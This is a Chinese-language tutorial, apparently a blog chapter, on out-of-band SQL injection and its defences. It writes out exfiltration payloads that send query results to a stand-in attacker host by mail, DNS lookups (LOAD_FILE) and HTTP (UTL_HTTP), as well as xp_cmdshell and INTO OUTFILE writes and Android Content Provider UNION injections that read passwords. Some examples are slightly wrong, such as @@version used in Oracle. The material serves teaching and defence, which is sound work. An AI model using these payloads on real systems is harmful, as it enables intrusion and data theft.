SQL注入与防御-第四章-7:带外通信+自动利用工具

SQL 注入利用 —— 带外通信(OOB)

一、核心概念:什么是带外通信?

在 SQL 注入中,带外通信(OOB, Out Of Band) 指:

  • 突破 “请求与响应在同一信道(如 HTTP )” 的限制,通过其他独立信道(如邮件、DNS、文件系统、网络连接 )传输数据。
  • 解决 “无法通过正常响应获取结果” 的问题(如盲注场景、响应被过滤时)。

二、带外通信的适用场景

当遇到以下情况时,OOB 是关键突破点:

  1. 盲注无法高效获取数据:时间盲注、布尔盲注需多次请求,OOB 可 “主动推送” 结果。
  2. 响应被严格过滤:应用层过滤了 SQL 注入的错误或查询结果,无法通过正常信道返回。
  3. 需要跨网络 / 跨设备传输:利用数据库的网络功能(如发邮件、DNS 查询 ),绕过网络隔离。

三、带外通信的实现方式(按信道分类)

(一)邮件信道(e-mail )

1. 原理:利用数据库的 “发邮件功能”

  • 数据库(如 SQL Server、Oracle )支持通过存储过程(如 xp_sendmailUTL_MAIL )发送邮件。
  • 攻击者注入代码,让数据库将查询结果(如用户密码、版本信息 )通过邮件发送到自己的邮箱。

2. SQL Server 示例(SQL Mail 或 Database Mail )

- SQL Server 2000-2008SQL Mail)
EXEC master..xp_startmail; -- 启动邮件会话
EXEC master..xp_sendmail @recipients = '[email protected]', @query = 'SELECT @@version'; -- 执行查询并发送结果
EXEC master..xp_stopmail; -- 停止邮件会话

3. Oracle 示例(UTL_MAIL )

- Oracle(需启用 UTL_MAIL )
BEGIN UTL_MAIL.SEND( sender => '[email protected]', recipients => '[email protected]', subject => 'SQL Injection Result', message => (SELECT @@version FROM DUAL) -- 查询结果作为邮件内容 );
END;
/

4. 防御要点

  • 禁用数据库的邮件存储过程(如 xp_sendmailUTL_MAIL )。
  • 限制数据库服务器的网络出站权限(仅允许必要的邮件服务器访问 )。

(二)文件系统信道

1. 原理:利用数据库的 “文件读写功能”

  • 数据库支持将查询结果写入服务器文件系统(如 SQL Server 的 xp_cmdshell、MySQL 的 INTO OUTFILE )。
  • 攻击者注入代码,将数据写入 Web 可访问目录,再通过浏览器下载。

2. SQL Server 示例(xp_cmdshell + 写入文件 )

- 假设数据库用户有 cmd 权限
EXEC xp_cmdshell 'echo "SELECT @@version" > C:\inetpub\wwwroot\output.txt';

3. MySQL 示例(INTO OUTFILE

- 写入 Web 目录(需 FILE 权限)
SELECT @@version
INTO OUTFILE '/var/www/html/output.txt';

4. 防御要点

  • 严格限制数据库用户的文件系统权限(如 FILE 权限、xp_cmdshell 访问 )。
  • 监控文件系统的异常写入(如 Web 目录新增不明文件 )。

(三)DNS 信道

1. 原理:利用 “DNS 查询” 传输数据

  • 注入代码触发数据库发起 DNS 查询,将数据编码到域名中(如 data.subdomain.attacker.com )。
  • 攻击者通过 DNS 日志解析数据(需控制域名解析服务器 )。

2. 通用示例(跨数据库)

- 编码数据为 DNS 查询
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT @@version), '.attacker.com\\a'));
  • 数据库执行 LOAD_FILE 时,会发起 DNS 查询(如 10.0.0.1.subdomain.attacker.com ),攻击者通过解析日志获取 @@version

3. 防御要点

  • 限制数据库服务器的 DNS 查询权限(仅允许必要域名解析 )。
  • 监控 DNS 日志中的异常子域名(如大量随机子域名查询 )。

(四)网络连接信道

1. 原理:利用数据库的 “网络请求功能”

  • 数据库支持发起 HTTP 请求(如 Oracle 的 UTL_HTTP、SQL Server 的 sp_OACreate )。
  • 攻击者注入代码,将数据通过 HTTP 请求发送到自己的服务器。

2. Oracle 示例(UTL_HTTP

- 发送查询结果到攻击者服务器
BEGIN UTL_HTTP.REQUEST( 'http://attacker.com/?data=' || (SELECT @@version FROM DUAL) );
END;
/

3. 防御要点

  • 禁用数据库的网络请求功能(如 UTL_HTTPsp_OACreate )。
  • 监控数据库服务器的异常网络出站请求。

四、扩展场景:安卓设备的 SQL 注入攻击

(一)核心背景:安卓设备的 SQL 注入风险

安卓应用常集成 SQLite 数据库 存储本地数据(如用户配置、缓存、敏感信息 ),且部分应用通过 Content Provider 开放数据访问。若这些组件存在漏洞,攻击者可:

  1. 本地攻击:恶意应用利用注入读取 / 修改设备数据(如密码、聊天记录 )。
  2. 远程攻击:通过 WebView 等组件,结合远程漏洞触发注入。

(二)关键组件:Content Provider 与 SQLite

1. Content Provider 作用

  • 安卓中用于 跨应用数据共享 的组件,可被其他应用通过 ContentResolver 访问。
  • 若未正确校验输入,攻击者可构造恶意 URI 触发 SQL 注入。

2. SQLite 特性

  • 安卓默认嵌入式数据库,语法与 SQL 标准兼容,但存在差异(如不支持 UNION 全语法 )。
  • 常见存储路径:/data/data/<应用包名>/databases/

(三)攻击流程:利用 WebContentResolver 注入

1. 环境准备

  • 部署工具:安装 WebContentResolver(需 root 或调试权限 ),用于访问安卓应用的 Content Provider。连接安卓设备到 PC,启用 USB 调试模式:

    palisade platform-tools/adb devices  # 列出设备
    palisade platform-tools/adb forward tcp:8080 tcp:8080  # 端口转发
    
  • 识别目标:访问 http://127.0.0.1:8080/,枚举设备中暴露的 Content Provider,查看可访问的组件列表。

2. 注入实战:以 sqlite_master 表为例

构造恶意 URI,利用 Content Provider 的查询接口注入 SQL,读取数据库元信息(sqlite_master 表 ):

http://127.0.0.1:8080/query?a=settings&path0=system&selName=_id&selId=1 
+union+select+name,type,null+from+sqlite_master--
  • 解析

    • union select name,type,null from sqlite_master:跨表查询,读取数据库表名、类型。
    • -:注释后续内容,确保 SQL 语法正确。
  • 执行结果:若注入成功,返回 sqlite_master 内容,暴露数据库结构:

    Query successful:
    Column count: 3
    Row count: 13
    | id | name                | value  |
    | 1  | android_metadata    | table  | null |
    | 2  | bluetooth_devices   | table  | null |
    |...|...                  |...    |...  |
    

3. 扩展攻击:读取敏感数据

  • 定位敏感表:通过 sqlite_master 识别目标表(如 userscredentials ),构造新注入:

    http://127.0.0.1:8080/query?a=settings&path0=system&selName=_id&selId=1 
    +union+select+username,password,null+from+users--
    
  • 提取数据:若应用未对 Content Provider 输入校验,直接获取用户密码、配置等敏感信息,实现 “带外数据窃取”(通过 HTTP 信道传输结果 )。

(四)防御安卓 SQL 注入的核心策略

1. 开发侧防御

  • 校验 Content Provider 输入:对 ContentResolver.query()selectionselectionArgs 严格过滤,禁止动态拼接 SQL。示例(Java ):

    // 安全写法:参数化查询,避免注入
    String selection = "id =?";
    String[] selectionArgs = { String.valueOf(userId) };
    Cursor cursor = getContentResolver().query(uri, projection, selection, selectionArgs, sortOrder);
    
  • 最小化 Content Provider 暴露:在 AndroidManifest.xml 中,限制 android:exported(仅必要时设为 true ):

    <provider
        android:name=".MyContentProvider"android:exported="false"  
                        

你可能感兴趣的:(SQL注入与防御,sql,网络安全,web安全)